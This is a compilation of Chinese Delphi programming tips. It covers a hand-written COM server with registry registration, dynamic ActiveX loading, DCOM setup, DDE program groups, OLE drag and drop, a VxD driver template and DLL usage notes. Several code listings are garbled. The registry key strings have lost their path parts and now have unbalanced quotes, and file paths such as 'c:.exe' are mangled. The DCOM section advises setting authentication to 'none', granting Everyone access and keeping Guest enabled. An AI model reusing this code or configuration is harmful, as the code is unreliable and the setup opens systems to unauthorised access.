TMyCOMServer = class(TObject, IMyCOMTest)

protected

FLock: integer;

function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;

function _AddRef: Integer; stdcall;

function _Release: Integer; stdcall;

public

Constructor Create;

function msg: integer;stdcall;

end;

现在，我们一个个的来说明并实现TMyCOMServer 的几个方法。

_AddRef 方法：

该方法用于增加一个COM的计数器。我们知道COM Server是需要支持多客户调用的，在COM中每实现一次调用，就必须进行计数。如果COM的计数>0 ，则COM继续生存。否则，该COM接口实例就必须被注销。

_Release 方法：

该方法和_AddRef方法相反，用于减少一个计数，当计数为0，则注销该接口。

QueryInterface 方法：

该方法用于查询一个接口是否存在，如果存在则在输出参数里返回该接口指针。

为实现这几个方法，所添加的代码如下：

function TMyCOMServer._AddRef: Integer;

begin

Inc(FLock);

end;

function TMyCOMServer._Release: Integer;

begin

Dec(FLock);

if FLock = 0 then

Free;

end;

function TMyCOMServer.QueryInterface(const IID: TGUID; out Obj): HResult;

begin

//在类工厂中实现的一个MC接口，在这里返回。由于我们只有一个接口，所以那个IID参数没有用。当然，如果我们实现了多个接口，就需要维护一个数组，用个CASE语句，根据不同的IID，来返回不同的接口。

Pointer(Obj) := Pointer(MC);

Result := S_OK;

end;

其中，MC是一个IMyCOMTest 接口，是个全局变量：

var

MC: IMyCOMTest;

CF: IClassFactory;

别忘了还有我们的构造器：

constructor TMyCOMServer.Create;

begin

Inc(FLock);

end;

在一开始就增加一个引用计数，使得COM计数大于1，这样COM就不会自动销毁。

然后去实现我们的接口方法：

function TMyCOMServer.msg: integer;

begin

result := 1978;

end;

该方法直接向我们返回一个整数值。

l 类工厂的实现

正如我前面所说的，一个类工厂必须去建立我们自定义的接口。在上面，我们定义了自定义的接口，并由类TMyCOMServer 去实现。那么，现在我们还要做的是，实现类工厂，然后由类工厂建立一个TMyCOMServer 的接口实例。类工厂接口定义如下：

IClassFactory = interface(IUnknown)

['{00000001-0000-0000-C000-000000000046}']

function CreateInstance(const UnkOuter: IUnknown; const IID: TGUID;

out Obj): HResult; stdcall;

function LockServer(fLock: Boolean): HResult; stdcall;

end;

注意，IclassFactory是系统预先定义了的，在ACTIVEX单元有，所以不需要自己再去定义一次。我们只要去实现它就是：

TClassFactory = class(TObject, IClassFactory)

protected

FLock: integer;

function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;

function _AddRef: Integer; stdcall;

function _Release: Integer; stdcall;

public

Constructor Create;

function CreateInstance(const UnkOuter: IUnknown; const IID: TGUID;

out Obj): HResult; stdcall;

function LockServer(fLock: Boolean): HResult; stdcall;

end;

我们只关注CreateInstance 方法。LockServer 用于在多客户调用COM时，锁定COM，以免一个客户退出时销毁了COM，那么其他客户的调用将发生错误。但是我们在这里只实现单客户，所以不考虑这个函数，把他置空就是。

function TClassFactory.CreateInstance(const UnkOuter: IInterface;

const IID: TGUID; out Obj): HResult;

begin

//我们的自定义接口，就是在这里被创建的。

MC := TMyCOMServer.Create;

Pointer(Obj) := Pointer(MC);

end;

function TClassFactory.LockServer(fLock: Boolean): HResult;

begin

end;

同样的，TclassFactory也必须实现引用计数，因为它也实现了Iunknown接口。

function TClassFactory._AddRef: Integer;

begin

Inc(FLock);

end;

function TClassFactory._Release: Integer;

begin

Dec(FLock);

if FLock = 0 then

Free;

end;

function TClassFactory.QueryInterface(const IID: TGUID; out Obj): HResult;

begin

end;

其中，QueryInterface 我把它置空，因为在这个例子中，不需要向它查询什么接口。如果以后读者需要向它查询接口时，自己实现相关代码。

同样，在它的构造器中，也预先对计数加1

constructor TClassFactory.Create;

begin

Inc(FLock);

end;

到目前为止，我们已经基本实现了一个COM需要的大部分功能。现在，我们需要把它注册到系统中，以便被其他程序调用。

l COM的注册和反注册

我们回过头来，看看如何去实现那四个DLL的输出函数。这四个函数的原形如下：

function DllGetClassObject(const CLSID, IID: TGUID; var Obj): HResult;stdcall;

function DllCanUnloadNow: HResult;stdcall;

function DllRegisterServer: HResult;stdcall;

function DllUnregisterServer: HResult;stdcall;

我们上面所说的类工厂的实例，就是在DllGetClassObject 中创建的。代码如下：

function DllGetClassObject(const CLSID, IID: TGUID; var Obj): HResult;

begin

CF := TClassFactory.Create;

Pointer(obj) := Pointer(CF);

Result := S_OK;

end;

同样的，我们只有一个类工厂，所以可以不理会前面那两个参数。否则，就要根据不同GUID，来创建不同的类工厂对象。在这里，我们直接把类工厂对象给返回了。

函数DllCanUnloadNow 用来注销一个COM。在正常使用中，要根据引用计数，来判断是否允许用户注销。在这里我们直接返回S_OK，让用户直接注销。

function DllCanUnloadNow: HResult;

begin

Result := S_OK;

end;

函数DllRegisterServer 用来向注册表注册一个COM组件信息。要注册一个COM，用户必须知道COM在注册表中的信息是如何组织的。结构如下：

HKEY_CLASSES_ROOT

---- CLSID

---- GUID

----- InprocServer32 标明 COM所在磁盘的路径以及线程模型

----- ProgID 标明COM所实现的接口

----- TypeLib 标明 COM 的类型库的GUID

----- Version 标明 COM的版本号。

当发生CreateCOMObject()调用时，输入参数为COM的CLASS类型的GUID，系统将在注册表中搜索到相关信息，然后就可以找到该COM的位置，就可以开始调用了。

注意，如果您希望COM组件支持客户端的CreateOLEObject()函数的调用，您必须还要注册一个信息：

HKEY_CLASSES_ROOT

----- 接口声明

----- CLSID 标明 COM 接口和CLASS类型的GUID的对应关系。

那么，当发生 CreateOLEObject 调用时，系统将会根据输入参数（一个COM接口声明，如a.b），去查找和接口对应的CLASS GUID，然后就可以读到COM的相关信息了。

全部代码如下：

function DllRegisterServer: HResult;

var

lp: pchar;

ns: Dword;

begin

Result := S_FALSE;

Reg := TRegistry.Create;

GetMem(lp, 255);

try

Reg.RootKey := HKEY_CLASSES_ROOT;

if Reg.OpenKey('.MyCOMTest',true) then

begin

Reg.CreateKey('CLSID');

if Reg.OpenKey('CLSID',true) then

Reg.WriteString('',GUIDToString(Class_MyCOM));

end;

if Reg.OpenKey(' + GUIDToString(Class_MyCOM), true) then

begin

if Reg.CreateKey('InprocServer32') = false or

Reg.CreateKey('ProgID') = false or

Reg.CreateKey('TypeLib') = false or

Reg.CreateKey('Version') = false then

Exit;

Reg.WriteString('','MyCOM');

if Reg.OpenKey(' + GUIDToString(Class_MyCOM) +

'', false) then

begin

Windows.GetModuleFileName(HInstance,lp, 255);

Reg.WriteString('', lp);

Reg.WriteString('ThreadingModel', 'Single');

end;

if Reg.OpenKey(' + GUIDToString(Class_MyCOM) + '', false) then

Reg.WriteString('','MyCOM.MyCOMTest');

if Reg.OpenKey(' + GUIDToString(Class_MyCOM) + '', false) then

Reg.WriteString('','1.0');

if Reg.OpenKey(' + GUIDToString(Class_MyCOM) + '', false) then

Reg.WriteString('',GUIDToString(LIBID_MyCOM));

Reg.CloseKey;

Result := S_OK;

end;

finally

begin

FreeMem(lp);

Reg.Free;

end;

end;

end;

函数DllUnregisterServer 则向系统注销一个COM的注册信息。它比较简单，直接把COM的相关注册键给删除就是：

function DllUnRegisterServer: Hresult;

begin

Result := S_False;

Reg := TRegistry.Create;

try

Reg.RootKey := HKEY_CLASSES_ROOT;

Reg.DeleteKey(' + GUIDToString(Class_MyCOM));

Reg.CloseKey;

Finally

Reg.Free;

end;

end;

l 最后工作。

现在，我们编译程序，然后生成一个DLL文件，在命令行下，使用：

regsvr32 MyCOM.dll

向系统注册COM。

COM Client程序

在DELPHI中调用

新建一个项目，然后在单元中，定义接口信息：

IMyCOMTest = interface(IUnknown)

['{D1C4A022-7F6F-42F0-A9B0-4A91703EB124}']

function msg: integer;stdcall;

end;

定义变量：

class_wjm: TGUID = '{CE38847E-A386-4753-89F1-34BE80042107}';

a: IMyCOMTest;

然后在窗口的OnCreate 事件里，添加如下代码：

procedure TForm1.FormCreate(Sender: TObject);

begin

//随便用哪个都可以

a := createcomobject(class_wjm) as IMyCOMTest;

//或者使用 a := createoleobject('MyCOM.MyCOMTest') as IMyCOMTest;

end;

然后，放一个按钮，并在其事件里添加代码：

procedure TForm1.Button1Click(Sender: TObject);

begin

showmessage(inttostr(a.msg));

end;

在窗口的OnCLose事件里加上：

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin

a := nil;

end;

注意一定要释放接口，否则可能是个难看的 AV 错误哦。

运行我们的程序，点下按钮，你将看到输出信息“1978”。

如果你看不到正确的信息，请仔细查看你的代码是否和文中一致。你也可以直接向我索要源代码。

在VC6中调用

稍微复杂点。先把GUID翻译过来：

//{CE38847E-A386-4753-89F1-34BE80042107};

static const CLSID CLSID_MyCOM = {0xCE38847E,0xA386,0x4753,

{0x89,0xF1,0x34,0xBE,0x80,0x04,0x21,0x07}};

//{D1C4A022-7F6F-42F0-A9B0-4A91703EB124}

static const IID IID_MyCOM = {0xD1C4A022,0x7F6F,0x42F0,

{0xA9,0xB0,0x4A,0x91,0x70,0x3E,0xB1,0x24}};

然后在声明一次接口的定义：

struct IMyCOMTest : public IUnknown

{

virtual LONG __stdcall msg();

};

IMyCOMTest* pLink;

然后放个按钮上去，并在相关事件里写代码：

void CMyvcView::OnButton6()

{

pLink = NULL;

int a =0;

CoInitialize(NULL);

a = CoCreateInstance(CLSID_MyCOM, NULL,

CLSCTX_INPROC_SERVER,IID_MyCOM, (void**)&pLink);

if (a==S_OK){

LONG a= pLink->msg();

};

}

注意，一定要记住调用 CoInitialize(NULL); 这个函数，否则COM无法使用的。

编译运行，你应该能看到 a 是等于1978 的。

总结

到目前为止，我们成功的编写了一个最简单的COM组件，并且在DELPHI和VC中成功调用。这都说明我们的工作是成功的。同时我们也看到，实现一个COM，并不难。

关于进程外的COM以及DCOM，前者是基于LPC 本地过程调用，后者是基于RPC远程过程调用。除了协议不同外，其他的都一样。大家有兴趣，可以以后继续讨论。

关于COM的线程模式，我曾经以为，是COM向导中自动会产生对应的线程代码，来实现多线程的。但是我后来又认为，根本没有这回事，COM只是做了个标记，告诉操作系统他的线程模型，至于如何产生线程，则是操作系统做的。有关这方面的讨论，还需要进一步研究。

一个小尾巴

我们知道，在DELPHI里，有一个Import Type Library 的功能。可以把一个COM组件导到DELPHI中直接使用。但是，如果我们试图把我们刚才写的那个组件，也ADD进去的时候，DELPHI会提示：

加载类型库/DLL时出错。

这是怎么回事呢？ 原来，这是MS/BORLAND的一个小花招。我们看看VCL的代码就知道了，在DELPHI的向导为你创建一个COM时，它偷偷地加了一个IprovideClassInfo 的接口进去，该接口使用ItypeInfo 接口，主要用于向外提供COM的类型信息的。大家仔细跟下TtypedComObject 这个类，就会发现这个奥秘了。在前例中，我们没有实现这个接口，那么当然无法被DELPHI加载了。关于如何实现这个接口，已经超出了本文的范围，所以不于讨论。

有兴趣的朋友，可以继续关注 “COM实现过程（2）”，主要讲述如何实现类型库的。

2002/6/27

版权所有

转载时请包括作者姓名


ActiveX控件的动态加载

如何在Delphi中动态加载ActiveX控件

如何在Delphi中动态加载ActiveX控件？其实很简单！嗯，大家做好了，下面以ShockWaveFlash控件为例讲解如何动态加载ActiveX控件！

首先，我们知道，ActiveX控件都有TypeLib或者导出单元的，因此我们首先应该生成一个Object Pascal格式的单元来封装这个ActiveX控件，这个封装过程Delphi可以全自动完成，我们不必要写任何代码！首先，在Delphi菜单Component-->Import ActiveX Control，在弹出的对话框中（如下图）：

选择ShockWave Flash，然后点击Install...，然后选择你需要安装的包，默认采取dclusr.dpk即可！然后弹出Package DPK窗口（如下图）：

此时我们点击[Install]工具按钮即可，默认情况下， 新的控件将被安装到ActiveX控件页面，此时我们可以和普通控件一样使用这个Flash控件了，但是我们要动态创建的话，也很简单，首先，我们在uses部分添加ShockwaveFlashObjects_TLB单元，然后在FormCreate事件中，添加代码：

procedure TForm1.FormCreate(Sender: TObject);

begin

OpenDialog1.Filter :='SWF Files (*.SWF)|*.SWF';

with OpenDialog1 do

if Execute then

with TShockwaveFlash.Create(Self) do

begin

Height := 100;

Width := 100;

Top := 30;

Align := alClient;

Parent := Self;

Visible := True;

OnFSCommand :=MyCommand;

Movie := FileName;

Play;

end;

end;

procedure TForm1.MyCommand(Sender: TObject; const command,

args: WideString);

begin

Caption :=Format('Command:%s,Args:%s',[Command,args]);

end;

这样我们就可以动态生成和使用ActiveX控件了，实际上，是非常简单的，和普通的控件没有任何区别。上面的代码必须先导入类型库，限制了应用，如果我们要动态创建任意的ActiveX控件那么该怎么办呢？可以利用OLE Container控件来达到我们的目的！我们可以动态创建TOLEContainer控件，然后OleContainer有可以动态创建任意的对象，例如：

procedure TForm1.Button1Click(Sender: TObject);

begin

OleContainer1.CreateObject(Edit1.Text,False);

OleContainer1.DoVerb(ovShow);

end;

然后我们运行程序，在Edit里面输入'ShockwaveFlash.ShockwaveFlash.1'点击Button1，然后在Edit里面输入Word.Document，然后点击Button，你会发现我们已经能够动态创建任意的ActiveX控件了。 :-)。

注意，若目标机器上面没有安装OCX控件，我们可以在程序的最开始使用WinExec或者ShellExecute()运行regsvr32 来注册OCX控件即可，否则可能无法创建控件。


DCOM配置

DCOMCNFG怎样配置才能发布利用DCOMConnection连接的分布式应用程序？

DCOM配置

make11111(可可（清舞飞扬的男友）)

    如果在Windows NT环境下正常运行应用服务器，必须进行DCOM配置。配置方法如下：

    1.运行NT服务器上的dcomcnfg程序，进行DCOM配置。

    2.进入DCOM的总体默认属性页面，将“在这台计算机上启用分布式COM”打上勾，将默认身份级别改为“无”。

    3.进入DCOM的总体默认安全机制页面，确认默认访问权限和默认启动权限中的默认值无EveryOne，如果不去掉EveryOne，应用服务器不能正常启动。

    4.在常规页面中，双击你的应用服务器，打开你的应用服务器DCOM属性设置。

    5.将常规页面中的身份验证级别改为“无”。

    6.位置页面中选上“在这台计算机上运行应用程序”。

    7.将安全性页面设置中，均选择“使用自定义访问权限”，编辑每一个权限，将EveryOne加入用户列表中。

    8.身份标识页面中，选择“交互式用户”。

    9.NT的GUEST用户不能禁用。

同样，你要把你服务器上的的midas.dll考到客户机器的system目录下才行

同时运行一下regsvr32 midas.dll


创建程序组

很久以前的了，一直没有收录，今天收录进来了。

要产生程序组, 常用的方法是与程序管理员进行 DDE 对话,呼叫程式管理员事先预备好

的宏集, 关於这些, 以下有一个例子您可以参考看看:

步骤：

1. File | New Project

2. 在 Form 中安置一个 TDDEClientConv 控件

3. 对於 DdeClientConv1, 在 Object Inspector 中点一下 DdeService 这个属性,

然后点一下在其右方'...'的按钮, 然后在 DdeService 这栏填入 ProgMan，在

DdeTopic 这栏填入 Progman 。

4. 对于 DdeClientConv1 将 ConnectMode 设为 ddeManual

5. 在 Form1 中安排一个 TButton

6. 在 Button1 的 OnClick 事件:

procedure TForm1.Button1Click(Sender: TObject);

var

sMacro: String;

szMacro: Array[0..254] of Char;

sGroupDesc, sGroupName: String;

sProgDesc: String;

sProgIcon: String;

begin

// 打开对话通路

if not DdeClientConv1.OpenLink then begin

ShowMessage('无法建立 DDE 连结');

Exit;

end;

// 建立组群

sGroupDesc := '纯测试的 Group';

sGroupName := 'Test';

// 组成宏指令

sMacro := '[CreateGroup(' + sGroupDesc + ',' + sGroupName + ')]';

StrPCopy(szMacro, sMacro); // 转成 Null-Term. 字串

DdeClientConv1.ExecuteMacro(szMacro, False); // 执行宏指令

// 建立 Icon 图像

sProgIcon := 'c:.exe';

sProgDesc := '记事本';

sMacro := '[AddItem(' + sProgIcon + ',' + sProgDesc + ')]';

StrPCopy(szMacro, sMacro); // 转成 Null-Term. 字串

DdeClientConv1.ExecuteMacro(szMacro, False);

// 关闭 DDE 对话

DdeClientConv1.CloseLink;

end;

7. 保存后, 执行看看吧!


Drag&Drop拖放支持

implement Drag&Drop from an external application to your own application?

Author: Andreas Kosch

{

The following example demonstrates the Drag&Drop machanism from an external

application (Wordpad, Microsoft,..) to a TMemo in your own application.

{

Das folgende Beispiel demonstriert der Drag&Drop Maechanismus

aus externen Anwendungen (wie zum Beispiel WordPad oder Microsoft Word)

in ein TMemo des eigenen Delphi-Programms.

}

unit TMemoDragDropFrm;

{ ****************************************************************

Source File Name : TMemoDragDropFrm.pas

Typ : Hauptformular

Autor : Andreas Kosch

Compiler : Delphi 4.02 CSS

Betriebssystem : Windows 98

Beschreibung : Text via OLE Drag&Drop übernehmen aus einer

anderen Anwendung (wie zum Beispiel WordPad)

übernehmen.

16.01.2003: Test mit Delphi 7 und Microsoft Word XP unter Windowx XP

**************************************************************** }

{ Comments by Thomas Stutz }

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, ComCtrls, ActiveX, ShlObj, ComObj, StdCtrls;

type

// TForm1's declaration indicates that it's a TForm and that

// it supports the IDropTarget interface:

{

IDropTarget

Any application wanting to accept drop operations must

implement the IDropTarget interface.

Methods of the IDropTarget interface:

DragEnter

Dragged item has just been moved into the application's window,

return the relevant icon.

DragOver

Dragged item is being moved over the application's window,

return the relevant icon.

DragLeave

Dragged item has just moved out of the application's window.

Drop

The dragged item has been dropped on this application.

}

TForm1 = class(TForm, IDropTarget)

Memo1: TMemo;

procedure FormCreate(Sender: TObject);

procedure FormDestroy(Sender: TObject);

private

{ Private declarations }

// IDropTarget

function DragEnter(const dataObj: IDataObject;

grfKeyState: Longint;

pt: TPoint;

var dwEffect: Longint): HResult; stdcall;

function DragOver(grfKeyState: Longint;

pt: TPoint;

var dwEffect: Longint): HResult; stdcall;

function DragLeave: HResult; stdcall;

function Drop(const dataObj: IDataObject;

grfKeyState: Longint; pt: TPoint;

var dwEffect: Longint): HResult; stdcall;

// IUnknown

// Ignore referance counting

function _AddRef: Integer; stdcall;

function _Release: Integer; stdcall;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

uses

ShellAPI;

// In the OnCreate event handler, two important methods are called.

// First, OleInitalize is called. This initializes the OLE libraries and should always be

// called before your application uses any OLE functions.

// RegisterDragDrop registers the window as a valid drop target.

// If this isn't called, the window will never receive any drop events.

procedure TForm1.FormCreate(Sender: TObject);

begin

OleInitialize(nil);

{Allow window to accept drop events}

OleCheck(RegisterDragDrop(Handle, Self));

{ Execute Wordpad for testing }

ShellExecute(Handle, 'open', 'wordpad', 'c:\Test.doc', nil, SW_SHOW);

end;

// OnDestroy does the exact opposite. It calls RevokeDropTarget to indicate that

// drop events are no longer accepted.

// It then calls OleUninitialize, since the application is finished using all OLE functions.

procedure TForm1.FormDestroy(Sender: TObject);

begin

{Finished accepting drops}

RevokeDragDrop(Handle);

OleUninitialize;

end;

{-----------------------------------------------------------------}

{ IDropTarget-Implementierung }

{-----------------------------------------------------------------}

function TForm1.DragEnter(const dataObj: IDataObject;

grfKeyState: Longint;

pt: TPoint;

var dwEffect: Longint): HResult;

begin

dwEffect := DROPEFFECT_COPY;

Result := S_OK;

end;

function TForm1.DragOver(grfKeyState: Longint;

pt: TPoint;

var dwEffect: Longint): HResult;

begin

dwEffect := DROPEFFECT_COPY;

Result := S_OK;

end;

function TForm1.DragLeave: HResult;

begin

Result := S_OK;

end;

function TForm1._AddRef: Integer;

begin

Result := 1;

end;

function TForm1._Release: Integer;

begin

Result := 1;

end;

function TForm1.Drop(const dataObj: IDataObject;

grfKeyState: Longint;

pt: TPoint;

var dwEffect: Longint): HResult;

var

aFmtEtc: TFORMATETC;

aStgMed: TSTGMEDIUM;

pData: PChar;

begin

{Make certain the data rendering is available}

if (dataObj = nil) then

raise Exception.Create('IDataObject-Pointer is not valid!');

with aFmtEtc do

begin

cfFormat := CF_TEXT;

ptd := nil;

dwAspect := DVASPECT_CONTENT;

lindex := -1;

tymed := TYMED_HGLOBAL;

end;

{Get the data}

OleCheck(dataObj.GetData(aFmtEtc, aStgMed));

try

{Lock the global memory handle to get a pointer to the data}

pData := GlobalLock(aStgMed.hGlobal);

{ Replace Text }

Memo1.Text := pData;

finally

{Finished with the pointer}

GlobalUnlock(aStgMed.hGlobal);

{Free the memory}

ReleaseStgMedium(aStgMed);

end;

Result := S_OK;

end;

end.

附件>>>>>>> DemoTip1627.zip


Agent Control使用

下载>>>> agent.zip


delphi 编写 vxd 设备驱动程序

用 delphi 编写 vxd 设备驱动程序(转)

关键词：delphi控件杂项

作者：emil biserov(dinfo@mail.primorye.ru)(russion)

英语翻译：vitaly zayko(zayko@vitsoftware.com)

中文翻译改编：riceball(teditor@mailroom.com)

前言

  用 delphi 3.0 编写 vxd 设备驱动程序，在delphi 3 下编译通过，delphi 2 下没有测试，delphi 4 建立的 object 文件 m$ linker 5.12.8181 不能识别，这里使用的汇编器是m$的macro assembler ver. 6.11d ，联结器是m$ incremental linker ver. 5.12.8181 ，它们来自 windows 98ddk(http://www.microsoft.com/ddk/ddk98.htm)。

介绍

  windows 存在有两种类型的 vxd 设备驱动程序：

    1、静态(static) vxd ，装入操作系统并永久的存在于内存中；

    2、动态(dynamic) vxd，当需要时才调入内存，用完后关闭vxd即可释放内存。

  inprise delphi 有能力建立任何一种类型的 vxd 设备驱动程序，下面我们将介绍如何建立动态 vxd。

  当 win32 应用程序打开一个 vxd “虚拟”设备时，vwin32 使用 loaddevice 将 vxd 装入内存，并建立消息w32_deviceiocontrol ，发向 vxd。

  也就是说，vxd 至少应该响应以下两个系统信息和编写以下的一个函数：

    sys_dynamic_device_init

    sys_dynamic_device_exit

    w32_deviceiocontrol 函数.

  消息 sys_dynamic_device_init 在尝试装入 vxd 时发送到 vxd ，消息 sys_dynamic_device_exit 在尝试动态交换时发送到 vxd ，消息的处理者在成功处理后，应该在寄存器 ax 中返回 vxd_success 标志。

  w32_deviceiocontrol 的 dwservice 参数有以下的值：

    dioc_open 当 vxd 通过 createfile() 函数尝试打开操作时发送（在 sys_dynamic_device_init 消息后），如果成功返回 no_error (0);

    dioc_closehandle 当 vxd 通过 closehandle() 函数尝试关闭操作时发送（在 sys_dynamic_device_exit 前）

    所有其它的值 > 0 意味着不同的函数调用（由 dwiocontrolcode 给出），当 vxd 被 deviceiocontrol 函数调用时。

启动模块(vxdmain.asm)

...

extrn sysdynamicdeviceinit :proc

extrn sysdynamicdeviceexit :proc

extrn w32deviceiocontrol　 :proc

...

                        public　delphiio_ddb

            public　@@handlefinally

            public　@initialization

...

control_0　　proc

    cmp　　eax, sys_dynamic_device_init

    jnz　　short chksysdynexit

    call　　sysdynamicdeviceinit

    cmp　　eax, 1

    retn

;-------------

chksysdynexit:

    cmp　　eax, sys_dynamic_device_exit

    jnz　　short chkdevioctl

    call　　sysdynamicdeviceexit

    cmp　　eax, 1

    retn

;-------------

chkdevioctl:

    cmp　　eax, w32_deviceiocontrol

    jnz　　short loc_ret

    push　　esi

    push　　edx

    push　　ebx

    push　　ecx

    call　　w32deviceiocontrol

    cmp　　eax, 1

    retn

;-------------

loc_ret:

    clc

    retn

control_0　　endp

@@handlefinally:

@initialization:

            ret

_ltext　 ends

                        end

  delphi 会为单元的 initialization/finalization 建立代码调用外部过程 handlefinaly 和 initialization ，即使 initialization/finalization 在单元中不存在。因此我们在汇编的启动文件中建立空的外部过程入口。

主 delphi 程序单元(vxdprocs.pas)

...

procedure shellmessage(handle, flags : integer; const message, caption : pchar;

   callback, referencedata : pointer); stdcall; assembler;

asm

  mov　　ebx, handle　　　　// virtual machine handle

  mov　　eax, flags　　　　// message box flags

  mov　　ecx, message　　　　// address of message text

  mov　　edi, caption　　　　// address of caption text

  mov　　esi, callback　　　　// address of callback

  mov　　edx, referencedata　　　　// reference data for callback

  int　　20h　　　　　　// vxdcall

  dd　　 170004h　　　　　　// shell_message

end;

function sysdynamicdeviceinit : integer;

begin

  shellmessage(0, $10, copyright, 'sysdyninit: hello from delphi vxd !!!', nil, nil);

  result := vxd_success;

end;

function sysdynamicdeviceexit : integer;

begin

  shellmessage(0, $10, copyright, 'sysdyndevexit: bye from delphi vxd !!!', nil, nil);

  result := vxd_success;

end;

function w32deviceiocontrol(dwservice : integer;

                            dwddb : integer;

                            hdevice : integer;

                            lpdiocparms : pointer) : integer;

begin

  shellmessage(0, $10, copyright, 'w32devioctl', nil, nil);

  if (dwservice = dioc_open) then

  begin

      result := no_error;

  end

  else if (dwservice = dioc_closehandle) then

  begin

      result := vxd_success;

  end

  else if (dwservice > max_pasvxd_w32_api) then

  begin

      result := error_not_supported;

  end

    else

  begin

      result := vxd_success;

  end;

end;

...

[译者：好了，简单的 vxd 设备驱动程序编写完毕了。你可以将它当作一个写 vxd 设备驱动程序的模板。]

附一：make.bat

d:~198ddk-coff -dbld_coff -dis_32 -w2 -c -cx -zm -dmasm6 vxdmain.asm

call dcc3.bat -j vxdprocs.pas

d:~198ddk/def:vxddef.def /vxd vxdmain.obj vxdprocs /out:delphiio.vxd

附二：

现在让我们来编写对该 vxd 的测试程序，两个按钮：一个打开 vxd；一个关闭 vxd。

const

vxdname = '\..vxd';

...

function tvxdtestform.openvxddriver: boolean;

begin

hvxdhandle := createfile(vxdname,0,0,nil,0,file_flag_delete_on_close,0);

result := hvxdhandle <> invalid_handle_value;

end;

procedure tvxdtestform.closevxddriver;

begin

if hvxdhandle <> invalid_handle_value then begin

   closehandle(hvxdhandle);

   hvxdhandle := invalid_handle_value;

end;

end

顺便说一下,delphi中有个编译选项可以控制程序加载的入口

一般是0x00400000,你可以改.


Winzip DLL

附件中是的两个文件是可以解压ZIP文件的DLL的声明，需要一个DLL文件，但是这个DLL文件只有大家自己去找了，电子小说阅读器中的Talezip.dat即是这个DLL文件

wz32.dll

DragAppendFile

DragCreateFiles

WZ56

uncompress

uncompress_init

unzip

unzip_init

zip

zip_init

ziplabelDiskette

zipmemcompress

zipsplit

zipwipeDiskette

wzcab.dll

GetDllVersion

FCICreate

FCIAddFile

FCIFlushFolder

FCIFlushCabinet

FCIDestroy

FDICreate

FDIIsCabinet

FDICopy

FDIDestroy

wzcab3.dll

CAB_MakeHFDI

FDICopy

FDICreate

FDIDestroy

FDIIsCabinet

FreeFDI

LoadFDI

QuickIsCAB

SetCallBackProcs

SetFDIFName

SetFDIOffset

SetVerboseMsgs

isCabinet

isCabinet2

isFDILoaded

isInstallExe

Wzzpmail.dll

ZAMEntryPoint1

附件>>> zip.rar


如何调用DLL里的MDI子窗体？

应用是MDI结构，同时想做动态模块的添加，

所以就把主程序做成MDI

窗体，所有其他子模块都以DLL的形式，子模块的窗体都是MDI子窗体，

都放在DLL里，

但是调用这些DLL中的子窗体的时候，总是提示“没有

当前活动的MDI窗体”！怎么解决呀？

将Application和MDIFrame作为参数传递给DLL。

DLL中的Application.Handle默认是0。

多谢了! :) 我用下面的方法试了一下可以：

function _Close:HRESULT;stdcall;

file://系统关闭之前，需要调用本方法

begin

Application := TmpOldApp;

file://TmpOldApp是全局变量，用于存放DLL的Application

file://参见_Open

end;

function _Open(Aapp :TApplication) :TDModule;stdcall;

file://创建一个模块，并返回它的指针

file://参数Aapp :主程序的Application

var

testM :TDMTempModule;

begin

if Application.Handle = 0 then

tmpOldApp := Application;

file://记录DLL的原始Application

Application := Aapp;

file://将DLL的Application赋为主程序的Application

file://Application.CreateForm(TFrmtemp, frmtemp);

file://用这句不行。 ？

frmtemp := TFrmtemp.CreateParented(Aapp.MainForm.Handle);

file://创建在DLL中定义的MDI子窗体 TFrmTemp 的一个实例

file://测试代码

end;

另外在Help里找到这句话：

Note: When writing a DLL that uses VCL forms, assign the window handle

of the host EXE's main window to the DLL's Application.Handle

property. This makes the DLL's form part of the host application.

Never assign to the Handle property in an EXE.

但是好像没用！ :(


Cards.dll使用

unit Unt_Cards;

{ CARDS.DLL - Card Display Technology }

{ notes:

copy from newgroup Author: Jeroen Pluimers (jeroenp@dragons.nest.nl)

- CARDS.DLL is 16-bit in Win95!

}

interface

uses

WinTypes;

const

idClubsAce = 1;

idClubs2 = 2;

idClubs3 = 3;

idClubs4 = 4;

idClubs5 = 5;

idClubs6 = 6;

idClubs7 = 7;

idClubs8 = 8;

idClubs9 = 9;

idClubs10 = 10;

idClubsJack = 11;

idClubsQueen = 12;

idClubsKing = 13;

idDiamondsAce = 14;

idDiamonds2 = 15;

idDiamonds3 = 16;

idDiamonds4 = 17;

idDiamonds5 = 18;

idDiamonds6 = 19;

idDiamonds7 = 20;

idDiamonds8 = 21;

idDiamonds9 = 22;

idDiamonds10 = 23;

idDiamondsJack = 24;

idDiamondsQueen = 25;

idDiamondsKing = 26;

idHeartsAce = 27;

idHearts2 = 28;

idHearts3 = 29;

idHearts4 = 30;

idHearts5 = 31;

idHearts6 = 32;

idHearts7 = 33;

idHearts8 = 34;

idHearts9 = 35;

idHearts10 = 36;

idHeartsJack = 37;

idHeartsQueen = 38;

idHeartsKing = 39;

idSpadesAce = 40;

idSpades2 = 41;

idSpades3 = 42;

idSpades4 = 43;

idSpades5 = 44;

idSpades6 = 45;

idSpades7 = 46;

idSpades8 = 47;

idSpades9 = 48;

idSpades10 = 49;

idSpadesJack = 50;

idSpadesQueen = 51;

idSpadesKing = 52;

RankFirst = idClubsAce;

RankLast = idClubsKing;

RankCount = RankLast - RankFirst + 1;

idFaceFirst = idClubsAce;

idFaceLast = idSpadesKing;

FaceCount = idFaceLast - idFaceFirst;

SuitCount = 4;

idDeckEmpty = 53; { $35 }

idDeckPattern1 = 54; { $36 }

idDeckPattern2 = 55; { $37 }

idDeckRobot = 56; { $38 }

idDeckRoses = 57; { $39 }

idDeckFlowers1 = 58; { $3A }

idDeckFlowers2 = 59; { $3B }

idDeckFishes = 60; { $3C }

idDeckAquarium = 61; { $3D }

idDeckShell = 62; { $3E }

idDeckCastle = 63; { $3F }

idDeckPalmbeach = 64; { $40 }

idDeckCardhand = 65; { $41 }

{ there is no card# 66 }

idDeckCross = 67; { $43 }

idDeckCircle = 68; { $44 }

idDeckFirst = idDeckEmpty;

idDeckLast = idDeckCardhand;

DeckCount = idDeckLast - idDeckFirst + 1;

idDeckSpecialFirst = idDeckCross;

idDeckSpecialLast = idDeckCircle;

DeckSpecialCount = idDeckSpecialLast - idDeckSpecialFirst + 1;

